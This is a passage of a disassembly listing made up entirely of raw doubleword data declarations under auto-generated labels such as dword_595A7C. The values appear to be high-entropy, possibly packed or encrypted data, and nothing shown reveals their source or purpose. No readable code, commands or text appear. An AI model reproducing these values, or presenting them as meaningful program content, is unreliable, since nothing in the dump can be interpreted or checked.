		dd 2600BA78h, 56D9200Dh, 79B25E8h, 0F0D1383Fh, 2BE0FE79h
		dd 0ADDCA8D2h, 3703E00h, 61406F92h, 0AC77073Ch,	60755BBCh
		dd 70334A46h, 0A0819102h, 0E08576D2h, 9063CD40h, 9AEB019Ah
		dd 0B8684CCCh, 6123D428h, 0A6702600h, 0F5FF5EB4h, 0FE271260h
		dd 22820B43h, 74DE6800h, 0BE00A983h, 0ADAC6377h, 0D90B42h
		dd 0C4A4A592h, 0CEE0164Dh, 0BCBB2900h, 3A1160B8h, 94DF034Fh
		dd 46D506B7h, 0D9A68FD9h, 4A78D08Dh, 0BFFC6F00h, 0D2352A3Ah
		dd 30D800D1h, 28029647h, 0C00091FFh, 0BAF65F2Ch, 0B6CC7Ch
		dd 0BFA55EDBh, 94A15719h, 109CC400h, 0C509EEF9h, 6BF7009Dh
		dd 0A3D96159h, 0E600650Fh, 0E47BA5A6h, 0EA7CFE84h, 97F300F7h
		dd 34803014h, 9003B801h, 0CD2D0A81h, 8060CA4Fh,	2BDDC5C8h
		dd 0CBCF00DBh, 23BBE82Ah, 0B5266516h, 0B900EEE1h, 0F966151Ah
		dd 0DF9074h, 0CCA16980h, 0F5098178h, 0A468550Fh, 81CDEBD0h
		dd 48F28D64h, 10FB2020h, 897D9534h, 3800F5B4h, 9120034Dh
		dd 0CCF27E67h, 5817D440h, 3EC80111h, 0B33F34BDh, 2F9C4086h
		dd 4AF8B26Bh, 5A9BF900h, 277B0F94h, 0B1690767h,	8C57C915h
		dd 0C3097C28h, 22B03B8Ch, 0C532C634h, 471004E0h, 78DCF0BAh
		dd 0C533909h, 6E688070h, 73E98A7h, 0EFBC3718h, 83CF8550h
		dd 598B5806h, 0D8F8E38Bh, 0C1036683h, 64BEEB28h, 0B221A8CCh
		dd 0C9353EDBh, 0FEC24B80h, 0AC904640h, 0D71B3Bh, 0CF6493BDh
		dd 1BC960Eh, 0ED858CE8h, 719A5DFBh, 7FD0D389h, 3F007AE1h
		dd 851D052Eh, 898672h, 0AEF3230Ch, 9304731Ch, 7146211Dh
		dd 20BB0F0Eh, 7AECE1EBh, 9E7C0240h, 0D09D3A3Dh,	0CF926A40h
		dd 0BC08A403h, 983F190Dh, 0A3377Ah, 0C909EB02h,	1EB9AC5Eh
		dd 56856C00h, 0B174CB52h, 49921E2Bh, 94D4C0B3h,	88A78053h
		dd 9300ADFAh, 33A37A82h, 0A6DE41h, 3B063EAh, 57770709h
		dd 88B62001h, 0D02B5131h, 46B2D8h, 8EAB6AFBh, 8642A8F2h
		dd 55E49700h, 2B3CA13h,	58E3001Fh, 5E331960h, 3400E166h
		dd 0C3085C59h, 3870D8Ah, 0D5622711h, 0CFF28258h, 5DB01058h
		dd 9F2667F0h, 31805CD1h, 1363A816h, 0C9C60038h,	0A7B51D34h
		dd 0BF3B2A26h, 0D2D50024h, 0B43DBE5Dh, 3AC7021h, 99D141DFh
		dd 0FD90752Fh, 420FD7D3h, 0A0F0894Dh, 0A8EB57E6h, 0BD3300A1h
		dd 0D03227DEh, 0AE12C7C0h, 18405CC9h, 66CD353Dh, 4B760E0Ch
		dd 620E019h, 59665D8h, 9D9710C0h, 9AAAFAh, 0C58BCE41h
		dd 0B321FCFDh, 87F7703Bh, 17876A38h, 0A2912F70h, 0CA0113EAh
		dd 0A9840057h, 72CFD5E3h, 6BE09800h, 3E0DEE17h,	0B0BD00F0h
		dd 0C3A19E84h, 5E9804CCh, 8D41507h, 43D03A63h, 546922h
		dd 18EFE2ABh, 89494458h, 130CDA00h, 522883D5h, 12A9004Dh
		dd 0CE51E660h, 2C1C4C34h, 1B806674h, 0C3BB5AF5h, 59604C4Ah
		dd 674E1C03h, 0ECF08CB6h, 0B200228Eh, 0D48A1F86h, 27088Bh
		dd 0FB44F0A5h, 6EF6D84Dh, 9FA8FD00h, 9E5CBDCBh,	5A930F64h
		dd 2420D998h, 3477CCDh,	6A3A3Dh, 71D8BD43h, 3D65EE72h
		dd 0BE00F517h, 60EBA324h, 7E013D5Fh, 6AA37A2h, 80E7A057h
		dd 9885A1h, 0E64D5D69h,	0C2B2CBD1h, 0A38D5C0Fh,	9BBD85F4h
		dd 9AC9DBC0h, 0FEAD00E8h, 0F946D2D6h, 22E68A8Fh, 9C769900h
		dd 0DE5F0B18h, 6DF0FB1Fh, 2E0200B2h, 2A8022F8h,	8D035390h
		dd 4F19D0D5h, 607CA857h, 0EA4B00C7h, 0C6C33BCDh, 0DC00A185h
		dd 0BC59A681h, 186368Fh, 1C126A41h, 0EC483DA9h,	5F12FD44h
		dd 0AA000499h, 1901CF8Eh, 68BD009Dh, 0B72081DEh, 5900F78Dh
		dd 0BBF5DBA9h, 7C3151h,	0A4FA526h, 0C7D1440Eh, 0B900BEFAh
		dd 9A4C97A1h, 5AF352h, 5B777288h, 995DB251h, 8005CB3Bh
		dd 91F72922h, 9B3B76h, 0E52A6FDAh, 6C1DA17Dh, 9317CC00h
		dd 895FE19Fh, 304D07A8h, 900D60C5h, 0D63C5DF4h,	0D124631Dh
		dd 10180640h, 0F06F4841h, 6D3000A9h, 0DA0EE7A3h, 0A20056C8h
		dd 0AE5EB87Eh, 104226Ah, 37C4362Ah, 3B540F57h, 2C63EA0h
		dd 0CF2451D5h, 0BA801B80h, 23D7498h, 594DBB1Eh,	0A26BE00h
		dd 7DBDF99h, 0D317CE6h,	1A601095h, 0C800A997h, 1E4F7F52h
		dd 0EA306C6Ah, 1815028Ch, 9AAD62D8h, 0F5431840h, 38748500h
		dd 97764AB3h, 0C0780033h, 195D6E8Fh, 0D003504h,	32CB7323h
		dd 17384418h, 11A1B0h, 0B677D280h, 370070D1h, 7F6C43EEh
		dd 0EDDB01h, 17FD597Dh,	0AAF0BFB9h, 0B4C71000h,	9636E7B0h
		dd 94B60081h, 0C4E3CB38h, 1205F3BAh, 47D47201h,	836E6680h
		dd 0F6A0F2EDh, 9FA30095h, 1918C06Fh, 303D1AA4h,	9EB90028h
		dd 8CE23FD0h, 91F4007Ch, 0EEB30FEBh, 0B1FECE74h, 9E943900h
		dd 0AE68BEBDh, 219007h,	44A7D9CAh, 853F83Fh, 0F0605171h
		dd 7888E33Eh, 27B007h, 3DB3BE7Fh, 9D59DEC9h, 407D8200h
		dd 0CA1F3167h, 0EBE400C8h, 0B7CDA96Dh, 0F600FF53h, 70827890h
		dd 3C2548Ch, 2936F90Ch,	0A5F0073Fh, 5300D5CEh, 0FDB0CC99h
		dd 2E62E1Ch, 54FAE5D2h,	0F3E0941Eh, 35009ABCh, 51BF8D4Bh
		dd 77AD5Ah, 5BA9B3CCh, 8245A3A7h, 89001F90h, 0E3728364h
		dd 0F13A5Ah, 0E0135B10h, 0AE8F2067h, 4B067D00h,	0E20E0DD3h
		dd 0F4AC50F2h, 0B77EA9Dh
		dd 4A6CA7E4h, 10CCE500h, 71FC8852h, 5AA02C09h, 21E0209Bh
		dd 8BB62Fh, 888DD7Dh, 63795229h, 0B7C04000h, 0C93E807Fh
		dd 2D700046h, 2583BEE8h, 97E6FFFBh, 355AEE00h, 78A73185h
		dd 2A1A00CFh, 761E92C8h, 19FC46C0h, 0E74A0A00h,	2C8B6C77h
		dd 0E4B448BDh, 88D7B200h, 116AD051h, 0BA1AAE00h, 0C9A26357h
		dd 5BE10E25h, 6440069Bh, 39DD4D41h, 401F9003h, 0C0927AA0h
		dd 1151EEh, 44CA8FA5h, 8320FB7Dh, 9E00AE7Eh, 3685020Ch
		dd 0F412C10h, 0E13359D2h, 0F5119100h, 0B7FC0F73h, 0F1ECC700h
		dd 3D951EA1h, 59E2004Eh, 86CB6984h, 0A00B8CDh, 0E7220DA7h
		dd 0B110BCh, 484AA5F8h,	8A8792D2h, 0B5683300h, 0C01E19F6h
		dd 0FA7B31h, 776298FDh,	0AA05A3FBh, 80735600h, 46A04CF0h
		dd 38EB090Dh, 6C8622D0h, 9500C066h, 963FEFB8h, 0B097F859h
		dd 51F50759h, 80138798h, 0AD94959Fh, 0E8B28A0Fh, 0F5C547F2h
		dd 0EBC36E70h, 967701DDh, 3E890FF1h, 52DAD486h,	0DF375F00h
		dd 0CC163676h, 653D002Bh, 0D7B8C464h, 0D303275Eh, 5DAB2AFAh
		dd 0A0AE00A6h, 0AD8FF08Eh, 4017C7D7h, 440F5F70h, 5D89A0CAh
		dd 0FA4FE7F5h, 24BB7526h, 3F1C4511h, 4D19B780h,	0F1A83625h
		dd 49008CE2h, 78FB8855h, 3F3288Dh, 0EB469E2Ah, 5AF0E02Bh
		dd 3100C263h, 71137058h, 1FE9056h, 0C234EBFh, 0D49C9869h
		dd 12006305h, 8C717D6h,	2DE9F4h, 0AD7F1839h, 43B6FE49h
		dd 0EBF65507h, 80FF573Fh, 0B953D92h, 8110019h, 0AD20A388h
		dd 5B0B01C0h, 2EF8667h,	800CE4B7h, 54614BBCh, 6A1926D8h
		dd 79B70080h, 939FD7F9h, 0AA00FC70h, 2673CA3Eh,	1C1A7AE5h
		dd 80DB6410h, 486E345Bh, 9C00FBB5h, 0E1F1C387h,	90CCCA60h
		dd 9B8F00B9h, 0F59361A7h, 8E00B6DFh, 4777F50h, 7483C62Ch
		dd 0DC72EB2h, 3E7168Ah,	8E5A168Fh, 185927E0h, 0B96E3200h
		dd 0EBDF17F8h, 0F7830081h, 0BCAAD2F0h, 4600C76Dh, 89E2A36Fh
		dd 6A9A8Ch, 32E663A5h, 0AAA23F80h, 1CBD7503h, 0EB658869h
		dd 0CC18F0ECh, 99040093h, 9AD41BFDh, 0B507ADBCh, 0FFE2EAABh
		dd 0A840F690h, 0DA40059h, 1DFA537Bh, 6703543Fh,	305CEFF3h
		dd 408F92A0h, 7AE3ADh, 0D34EED12h, 6386C429h, 2A7E9700h
		dd 82D8D74h, 88EE0ED2h,	3B00A1CDh, 22B5CA5Bh, 0DD12DB1Fh
		dd 0E8408496h, 1FE0C4EAh, 0D46B3BD7h, 297B007Eh, 0D6822C1Ah
		dd 7600EA0Eh, 15103B24h, 546A544h, 16F96781h, 2A71C771h
		dd 29D00EDh, 0A2A55C5Dh, 7CE6B924h, 2392E302h, 0F0C02071h
		dd 8B4CAD0Ch, 0D17E007Ch, 112C90F4h, 0E4500080h, 0B46FF6ABh
		dd 0CE05A75Dh, 7523F868h, 671078C0h, 6347009Ah,	8B26E465h
		dd 0D5004BAFh, 97A9DCD8h, 2FC0Dh, 0B354CC2h, 0E68EBFF6h
		dd 0E846341Eh, 3ABD3187h, 81D284C0h, 2A5B0093h,	1456F1D7h
		dd 592E02CEh, 5E005E77h, 0CC87E668h, 1819008Ch,	0BB7F234Dh
		dd 810003C4h, 447CC828h, 18435A8h, 9CF68B73h, 0E86CD1FBh
		dd 1400C3F0h, 46062BC1h, 0DD6157h, 20986218h, 90B18649h
		dd 63260F0Bh, 0CF4C27BCh, 0FF83C76h, 88142817h,	0C7E12AE0h
		dd 0B53EDBE8h, 0F47B9E32h, 791C96FFh, 0FEC610h,	16A24D2Eh
		dd 2C620711h, 330BEB1h,	9C0AE5A7h, 0E1A0809Fh, 0CA009417h
		dd 169574B0h, 1EF0495Bh, 5E7031h, 0F72D6F1Ah, 73038148h
		dd 12744598h, 91111EF3h, 4011D22Eh, 0EBCCF02Ch,	72024B9Dh
		dd 821E05F2h, 0BDAF40A2h, 0B936002Dh, 0E0E7E53Dh, 392E336Bh
		dd 9D866CBAh, 1C29AD56h, 0CE990D21h, 6C802532h,	0FC1E2C33h
		dd 343B24A0h, 0A0C9B96Eh, 36058201h, 648D04C9h,	84AC1680h
		dd 7BA8083h, 803B002h, 0F3B203A0h, 0A480E0E1h, 1FAB00A7h
		dd 0C3BA287Ah, 0D70E515Dh, 0C08DB106h, 2BA10185h, 1747052h
		dd 95A29128h, 0B83EB99Ah, 0BB1E098h, 78E869D1h,	0CA9507BBh
		dd 231F36BAh, 5CB7B113h, 350AD290h, 58623B9Eh, 0A2FE2801h
		dd 0F5E4928Bh, 3827D8Fh, 0C23B960Eh, 0E00A0D7Bh, 345B8DBEh
		dd 983C15h, 83DBE194h, 7E707344h, 3F430745h, 606F41B4h
		dd 0C2D1ED3Dh, 4F72AC00h, 0A2CBADB2h, 3299E8D9h, 24591982h
		dd 358C04BDh, 361102h, 5AC08FCEh, 27A265BCh, 0C885300h
		dd 162E3E20h, 0F67F898h, 74CACC72h, 6C83328Fh, 69E09047h
		dd 6E286849h, 0B9064C56h, 0BFDF961Dh, 442D7350h, 0B40C9E2Ah
		dd 289CF522h, 5E4A1823h, 2F39F840h, 1B3A22Eh, 5DC20039h
		dd 0ED3BDD3Eh, 0AC0D1FAAh, 26B9B13Fh, 0F460410Eh, 0FEB800BBh
		dd 59D96053h, 1F31A0B6h, 0A74FF602h, 983BD2A1h,	80BA3770h
		dd 8C3A50CAh, 0F945398Eh, 3AB17A03h, 0E89672h, 0BD7F20E8h
		dd 2D993E87h, 0B5B9311Dh, 15D7443Eh, 4CAF9A5Ch,	6DFF8780h
		dd 0B40937A8h, 10A1B943h, 2982E218h, 3942353h, 0CF2F366Bh
		dd 3795A900h, 0B438939Eh, 59BD67BBh, 634D7183h,	0CE85EB9h
		dd 10075E9Ah, 23A5018Ch, 919294CBh, 5AF07E1Dh, 1F0B01D6h
		dd 0EF3B25EAh, 7A9DC4D3h, 29226800h, 58D2D82Eh,	1D7900F8h
		dd 923EA51Ch, 0D90715B6h, 0F0F9EBBCh, 0B2B39A47h, 8890802Fh
		dd 0E97172h, 70543CD8h,	0CA245A3Fh, 0BD5650Eh, 7DDE90Fh
		dd 32E1269Ch, 0A8FB33A4h, 0E01530C2h, 621F0006h, 3AB63B8Fh
		dd 10008A85h, 88752CA1h, 0EA94D1B9h, 12109B5h, 5A83CD5Eh
		dd 0B1880A2Fh, 20005503h, 0F89EDDD3h, 333093Bh,	0E0366DDFh
		dd 40EF5AB5h, 0FED4DB2Dh, 6321D000h, 0C43BE2C1h, 0CF6E0062h
		dd 0D2740E7Eh, 757E1F59h, 0F900A0F6h, 0CA8FAE29h, 1BE4801h
		dd 91FDE993h, 0F4C3382Ah, 9B058CDFh, 0D060A275h, 0D2A680AFh
		dd 0F39A0DDh, 0A4710305h, 0B804E4DFh, 0FB037FEh, 55AD5182h
		dd 0C4FCC1E0h, 6C004052h, 0C8CB9EC3h, 3F6428h, 0C076E759h
		dd 666A3031h, 0F19FB000h, 5E271417h, 0B38000CAh, 776DDE68h
		dd 9603A6D3h, 4AF7F9C0h, 0D227C87Bh, 6FFE0040h,	72D01178h
		dd 480788BEh, 0E3A5FBBCh, 99C157h, 4C5D5976h, 29BD48F7h
		dd 0F6116233h, 1C97D8F8h, 0D1D6A800h, 696CA99Dh, 0ACBA032Dh
		dd 0B1A76221h, 0EB851AC0h, 0B6E56600h, 0FE879B47h, 86AF0063h
		dd 77719693h, 0B5009061h, 512942A6h, 316919Ch, 0C1477478h
		dd 6CB853B1h, 0B4072CB9h, 0D4DCEE59h, 51F83711h, 0AA330h
		dd 85367511h, 8C58E1BBh, 71452C00h, 0A67BA227h,	910101D6h
		dd 0F610B1BEh, 0C134DC4Bh, 47BD0F2Eh, 92AA5200h, 14CF18Ah
		dd 0B36F449Ch, 70E5D0C3h, 6000DC60h, 0A40275DEh, 0A54A1Eh
		dd 20FB247Ah, 0CC6B5C3Fh, 0C9C2E900h, 0B712EFAh, 1E73007Fh
		dd 0D6ECFC59h, 763C424Ch, 74B20155h, 95C0DA7Eh,	5892CCh
		dd 8F4051B5h, 544C50F3h, 9D5AA201h, 0F44B79E9h,	16940C20h
		dd 623D9C6h, 0D0789258h, 4D556501h, 0B4C4DEB2h,	0F360420h
		dd 0D343507h, 50A34C87h, 0E0B631AFh, 3071170Eh,	9CD3608Ah
		dd 95E5E7h, 0B1A12324h,	4FEF692Dh, 49BA0700h, 922256BEh
		dd 382B00D5h, 0E77F0616h, 3200D303h, 0D978374Ah, 18333B56h
		dd 788C2C72h, 0B30E36D1h, 87DF2EB5h, 2DD0A809h,	5778434h
		dd 1591B969h, 4CAC1CA7h, 2EC82227h, 804FC044h, 0A6034341h
		dd 0BC79A0C8h, 2190E87Bh, 0E53F0F3h, 59E4A11Fh,	0A5D34361h
		dd 96C5E01Eh, 870075F4h, 0BAF421ADh, 15E98B2h, 33F0B12Ah
		dd 0DCE95AC5h, 0FD00F6FFh, 0F9B5C474h, 907CB2BEh, 4CEB1578h
		dd 0BB00F088h, 0F032A7AAh, 2903281Fh, 0F71044C1h, 0B82F834Ch
		dd 301A911h, 0E088AF67h
dword_595A7C	dd 90D4D0C2h, 8C6A437Ch, 4063BC00h, 0FB56D80h, 5E2400EAh
		dd 215A59F4h, 2F0E2A9Ch, 20AAF603h, 73D374F0h, 2CE53D39h
		dd 0C9962B00h, 329AE75Dh, 86209B00h, 0AB583AFEh, 5779000Ah
		dd 3B68C4B8h, 2203FB1Dh, 0EBAD5BFAh, 420CF8F0h,	78F0ED79h
		dd 245600C5h, 845971B2h, 0B900AA23h, 0CC6C1263h, 4F958C4h
		dd 0BC97511Fh, 0C61D83B3h, 0F7A13097h, 6300E791h, 90B74045h
		dd 8AB99Dh, 428807Eh, 0BA2CAB96h, 92576700h, 0D4A91A47h
		dd 0D22A00E1h, 9E089B85h, 0D008B72h, 3EAB14CFh,	7A63618Dh
		dd 0E6FA09C6h, 80E448h,	3F5DB4F1h, 9A14DEE2h, 4FC6D05h
		dd 0CE7C2B76h, 0B0B99D83h, 0F2FF4Ah, 67C66A3Eh,	0AE923B41h
		dd 1DDAF400h, 0BBA27D5Bh, 4C0100E5h, 0B82DD4CEh, 1C00AB95h
		dd 5E1A6216h, 8AF327h, 0D66D069Ah, 182AD1C6h, 76EA780Eh
		dd 731138CBh, 846800E7h, 8EF55D57h, 0B50306FEh,	53463B58h
		dd 13479078h, 1277720Ah, 4D38002h, 0D037BD3Eh, 23E0EC94h
		dd 8955AC00h, 654D6C3Bh, 88DA00F5h, 0B6EF6843h,	0C892C5A7h
		dd 230E3901h, 0CC22D87Ah, 7BEB57C8h, 4757E17h, 19C7011Dh
		dd 0C0B68442h, 6335431Ch, 764E58h, 9BD9230Dh, 26CD4CA5h
		dd 0FD6AE2h, 7FCA8950h,	0A800BED0h, 6F4299C2h, 820184h
		dd 339DA617h, 0A9D6BF5Dh, 9A586B00h, 0EB8457D0h, 0F32201E1h
		dd 1F295206h, 0F540CA9Dh, 17FAB3DEh, 6CF5F100h,	3DFD8B18h
		dd 0B150070h, 0B1D1A8D7h, 5C009392h, 23628454h,	26F61A3Ch
		dd 1A82695h, 916E092Eh,	8C7460CCh, 737EC00h, 0B80B8F88h
		dd 27CA3ADBh, 7430F280h, 0A7B0BDD6h, 0D5002675h, 0AD62A3AEh
		dd 2829F8Ch, 38D70C84h,	0C88E3A54h, 14982CA0h, 0D60047F7h
		dd 0CF68BF3Bh, 0B88A65D7h, 61C20E0Ch, 980A7B7h,	3C36E84Eh
		dd 0A5978F00h, 0CD429422h, 0B8AC07FEh, 6037FD96h, 44D1C747h
		dd 35CA5300h, 819B4BC8h, 38977BC6h, 0E8000F76h,	51DE5862h
		dd 0A2005011h, 2602B3ECh, 1D014191h, 0C039CAA9h, 641B3895h
		dd 46007CD0h, 674B4328h, 1C83537Ah, 8072EA6Dh, 9337A00Bh
		dd 0AB00270Fh, 0F4679D6Ch, 2E228Fh, 0D094F1E6h,	0C554B91Dh
		dd 5B0DEF03h, 0F0795888h, 0B3DCBh, 0F7E18AD9h, 19A28444h
		dd 2450493Eh, 3507C82Dh, 6D60A8FFh, 90D9C2B4h, 0CC1824AEh
		dd 0D0DD0145h, 0FC7E536Ah, 4A005DBFh, 0AECD50A9h, 0D5BE3h
		dd 69370382h, 7A64A3BCh, 55792212h, 6D0060ECh, 6A57C805h
		dd 8C009159h, 67D5C1DBh, 78AEAECh, 0F462DF8Bh, 78A3F0C4h
		dd 51052AEEh, 0D6161131h, 0BD1A800h, 0E2154Fh, 0F739058Eh
		dd 75F6536h, 7901A87Ch,	8AF63EF5h, 0BD24DB03h, 2C740EC6h
		dd 0C01FD31Eh, 19104342h, 0B80068AAh, 71DBBA8h,	0FEBDF48Eh
		dd 1FC49802h, 78269B7h,	97B39687h, 118F8676h, 67517200h
		dd 0DE927B39h, 0A79A07B1h, 3FBD35E4h, 0BCD6F982h, 586CE055h
		dd 0FA1F00DDh, 5B2F29F3h, 0A590B90Ah, 0F024BA00h, 0CBA60B38h
		dd 3587625h, 0F9C7877Eh, 0A087A909h, 0B0080642h, 817DBC3Eh
		dd 2232452Dh, 0C0EE3A53h, 0E015Ch, 503162BEh, 4E828829h
		dd 120A8617h, 22B60Bh, 0EDD5AEBFh, 5FC60047h, 345B46A8h
		dd 1200E61Dh, 4F1A2F80h, 889586h, 9FABC075h, 0ED6321AEh
		dd 0AD13E90Fh, 222A8096h, 1D91DF1h, 8F62B19Ah, 0DC36789Bh
		dd 0B600F712h, 647BEF99h, 0FCEECF4h, 6A5FCA4Fh,	58E70BE0h
		dd 0D405B767h, 563844B9h, 80E47283h, 0E2363Ch, 1D08A261h
		dd 0CF2FAC6Ch, 0C05CC502h, 0EB637F88h, 896899A0h, 7240ACC8h
		dd 0E06416A0h, 9FE007E9h, 0D1DC91C3h, 5721E8FDh, 0DA1ED0B0h
		dd 1C1E0416h, 0F8ACC701h, 10800332h, 0EDC1C256h, 0DE0F1DB6h
		dd 21C99D22h, 552CFF20h, 3C3F0C70h, 1A194B47h, 0E17F118Ch
		dd 0ED1DF0B9h, 0C89E6826h, 6C15A786h, 0E8EE4AA1h, 32E50042h
		dd 0F2B7B9BEh, 4F35076Bh, 600391A6h, 873EFB0Eh,	0D2F41D00h
		dd 8C452519h, 0C35900EDh, 0A739E8B0h, 2D00380Ah, 743D9BDBh
		dd 1CB5F70Bh, 0B08A19E4h, 3B4CF668h, 1BA0A763h,	0E28804A3h
		dd 4070D0F8h, 0A0FA67ECh, 14E37832h, 87FED20h, 52803A0Fh
		dd 200D6CBh, 0ADFE879Eh, 0E7A624A0h, 0C4804774h, 63B1864h
		dd 0F6F20801h, 9F1A9819h, 1452A3F9h, 0AD17006Ch, 0C0793C6h
		dd 7F578D97h, 0C4034050h, 8CC9010Eh, 295A6A44h,	0FC59C11Bh
		dd 9B745184h, 7760C007h, 0E50C179h, 0EE7BBDE7h,	73470052h
		dd 0DC832815h, 0F5E8C44Dh, 0B90133F6h, 8BFE8DF9h, 0A5F025DDh
		dd 0F84E00C1h, 0DF7C97B0h, 513EF24Ch, 8E3B00EEh, 0AFCEB1C6h
		dd 0BD43032Dh, 7B058DAh, 35C6688h, 0A12ED21Eh, 0BFB39180h
		dd 308680FBh, 8D82217Dh, 0AD0096AEh, 67024E61h,	17085C99h
		dd 1085A204h, 34048463h, 1A52F2D6h, 5C041D10h, 507E25h
		dd 0CAC31A94h, 16A10965h, 3000FBE5h, 31412B10h,	0A97E6F00h
		dd 1A848164h, 29C56202h, 4E22FC01h, 0E81D275Fh,	90C3C788h
		dd 570F840Dh, 828F14Ah,	2990BC4Ah, 5F591884h, 70302977h
		dd 0AC8062h, 4B0AAD2Eh,	1686612Ah, 0B7D0C400h, 645F244Dh
		dd 1098009Eh, 0F4798859h, 0C38921Bh, 627F802Eh,	52D15B8h
		dd 0F8DBB856h, 10E103FAh, 0FF9A91C5h, 2FD7F1B8h, 0C374BF00h
		dd 387E2BA8h, 1D0F00D8h, 41B244ECh, 2700C8DAh, 84E482Eh
		dd 290AA56h, 687E67F8h,	0B3E08D02h, 8400D983h, 7DE03C5Eh
		dd 560A52h, 4966A832h, 0B170E96Eh, 0FAF8DAFCh, 0AE0BB0BAh
		dd 0EA8EFFh, 4F04A654h,	0CEF50F9Bh, 16BDF725h, 0CF10006Fh
		dd 0F6B2D05Eh, 0A900AC79h, 0A30FD91Ah, 55648Eh,	0FA939E10h
		dd 0EC2CE503h, 0CC7B0100h, 225AA9CBh, 24480762h, 3090E040h
		dd 0F5DB7049h, 0F400CDE6h, 48F8AD7h, 358627h, 16B7A136h
		dd 3C3A1E9Dh, 13A63Ah, 49AA2807h, 0C29022h, 5424DD03h
		dd 0C10D52C0h, 0F30FF900h, 0AFE0AEFDh, 0BBE7007Eh, 58D6B4B2h
		dd 371283B8h, 380A2819h, 0A07B464h, 29708F2Bh, 39309C13h
		dd 15809759h, 0C49BE78Bh, 0D0197DF0h, 0A68AF73Ch, 65A030h
		dd 0A4FEE653h, 66962FB4h, 0B700F577h, 0D5217952h, 260F0Eh
		dd 1EC631FFh, 0C8308B72h, 40480100h, 0F9CB7D9Ch, 1A490084h
		dd 7ED85CBFh, 1200C2B6h, 0BA5F89C6h, 3A719E7Ch,	0E7BE4651h
		dd 24AF8080h, 64E2C6B5h, 0F9FABC00h, 0A590D8EAh, 0E5E00F3h
		dd 56C51A2Ah, 0F2008C81h, 50D1F106h, 1F4FAAC3h,	4E48AE5Fh
		dd 0C820250Bh, 7A60CDD3h, 249FD800h, 0EBE68614h, 0C62E0119h
		dd 78059920h, 0F73C3Dh,	0F14DBA77h, 0EAC7DDA8h,	0E741291h
		dd 0AE4801C4h, 0E07D4352h, 950039A1h, 575E31BCh, 1C4B50D6h
		dd 439D3CDCh, 30ECE7A9h, 0CCED1EF0h, 0FE8E9407h, 32C0B458h
		dd 3ABF1245h, 6580F59Ch, 0BAB72176h, 0F87850D2h, 633D5E00h
		dd 66E994B3h, 3A7E02E2h, 468FFD6Ah, 4B9873E3h, 64B013C0h
		dd 66D2B300h, 35C85CC6h, 0AC711C68h, 0A13E41E1h, 209D91B0h
		dd 9E00E26Dh, 0DCA8B446h, 3DA6A4FAh, 0F580B225h, 9B7BD033h
		dd 0CBF2BF28h, 0B016681Fh, 0D5AA5380h, 576246Dh, 0FDA09AA7h
		dd 3941800Ah, 0B900B8ACh, 27E0C9BEh, 157287h, 9C824462h
		dd 0CF97AE17h, 5D568A07h, 0BF204E7Bh, 0B6F09DEh, 0D4E9DC45h
		dd 64F76303h, 53D1DAB0h, 0AAAA3128h, 0C3807100h, 3F6D9A4Fh
		dd 828E006Ah, 8628E6FCh, 0ED003891h, 212325EFh,	0CE78A6h
		dd 48E0D4CFh, 2434BCF5h, 59F06000h, 31D77290h, 6B2900BFh
		dd 0EE12F6DCh, 17F08119h
dword_59627C	dd 0FB100600h, 6C848EB2h, 23E2015Fh, 0E87A095Ah, 4D05D064h
		dd 0D57137FAh, 5585DF00h, 93CB3127h, 494A02E6h,	5BFAB62Ch
		dd 4600AC70h, 45C9C1E1h, 1191A1h, 2EDE65BFh, 0FA50FBCAh
		dd 60AD4303h, 98D0A615h, 3FF1EC8h, 71A8DA1Bh, 2188F473h
		dd 0A203B995h, 0A54FFBDBh, 93FAD87Bh, 612B00EFh, 0D96A0A47h
		dd 0A4500833h, 3050E69Ah, 1400D2D1h, 91870C53h,	5D7D447h
		dd 0B4D1FEFCh, 3DEE8DDh, 5B247EC8h, 786DC0FAh, 0C7F300B3h
		dd 0D288E3Ah, 3900E970h, 3DDAAC8Ah, 171A4F2h, 88A11710h
		dd 0E0DEBD5Ah, 0D008142h, 5EC4B295h, 3443070h, 8C7EAC7Ch
		dd 0FF0D482h, 0B8007B1Fh, 93A73EECh, 574B7h, 0E305A20h
		dd 0E312A191h, 0FDC7CA00h, 784042F3h, 134A0006h, 3997FEAFh
		dd 1F013685h, 3E1A87F2h, 0A640049Eh, 8030C8h, 2E2A74D1h
		dd 25B50827h, 0D7BF5600h, 9A3CCD40h, 3ECF0B62h,	430BB089h
		dd 0AC609C8Fh, 40A9DE8Bh, 70723F00h, 0F0C71C5h,	0EC7DF273h
		dd 6A300C3h, 198882F7h,	1800DFADh, 51F69A25h, 0C689F4h
		dd 0F9863F42h, 0EC91CCA1h, 0B106D000h, 24280976h, 0DFEA00B0h
		dd 0EF940583h, 9B00847Ch, 8B6A076Eh, 0FEC46Dh, 0F22D9A2Fh
		dd 324E4CB7h, 0E3A1FCE1h, 9C126401h, 7D57F5E0h,	3E5FC4h
		dd 1599E1B6h, 37432406h, 0D8ED4D00h, 87803D39h,	0B881FBFFh
		dd 9DC2107Bh, 0A149F096h, 0AE836807h, 8E0067EFh, 4BF26Fh
		dd 0B17E1EEBh, 0CB8B646Eh, 31CC2E00h, 0C5C94521h, 265D0008h
		dd 77BF3460h, 9304DC2Dh, 0B53774A2h, 315D683h, 976EEF19h
		dd 80ECF0CBh, 3EDA54FCh, 1AD7CA00h, 0EF5E717Ch,	0F7721E48h
		dd 50B50268h, 9240B0F9h, 19001D59h, 794C2AFEh, 481E0A3Fh
		dd 0B2006EF4h, 0F2232FCDh, 1538C9C3h, 0CF06037Bh, 996E8190h
		dd 0A1C034A3h, 62761E84h, 0BBB800F9h, 665B59A7h, 97773000h
		dd 23A0C2C7h, 0E2BE043Fh, 8026119Ah, 0E40A4D60h, 0D87D1500h
		dd 0CBDDD92h, 0E6AB00C4h, 7655C8B8h, 8A00F87Fh,	490163D3h
		dd 4CFE82h, 7CA29FF1h, 0FBEF66D8h, 9B00FCB0h, 0B0F20E65h
		dd 509AFF1Ah, 26ED1Dh, 20389FEDh, 1DCB4C2h, 0DFB0BC69h
		dd 8A0A700h, 8300E086h,	5873E8C0h, 0B283CFBh, 0F816A4D5h
		dd 0E790B581h, 1ED4205Bh, 3956A00h, 0BC8A1F13h,	587E00B5h
		dd 0AAA8C9F1h, 0DF00BF4Bh, 5BD35436h, 7074D96Fh, 0A3E90197h
		dd 0E30E4A21h, 41D8C42Bh, 30B5DEEh, 81E82582h, 745AB918h
		dd 0FFF5C4h, 0C1447783h, 6541D26Fh, 31F9521Ch, 2D699C0h
		dd 24C1CB5h, 7FB759E1h,	0E28F341Fh, 0FC8F90C4h,	83D900EDh
		dd 0D0870FA3h, 32B022h,	32C1A272h, 0CFDE25A4h, 16B05B3Eh
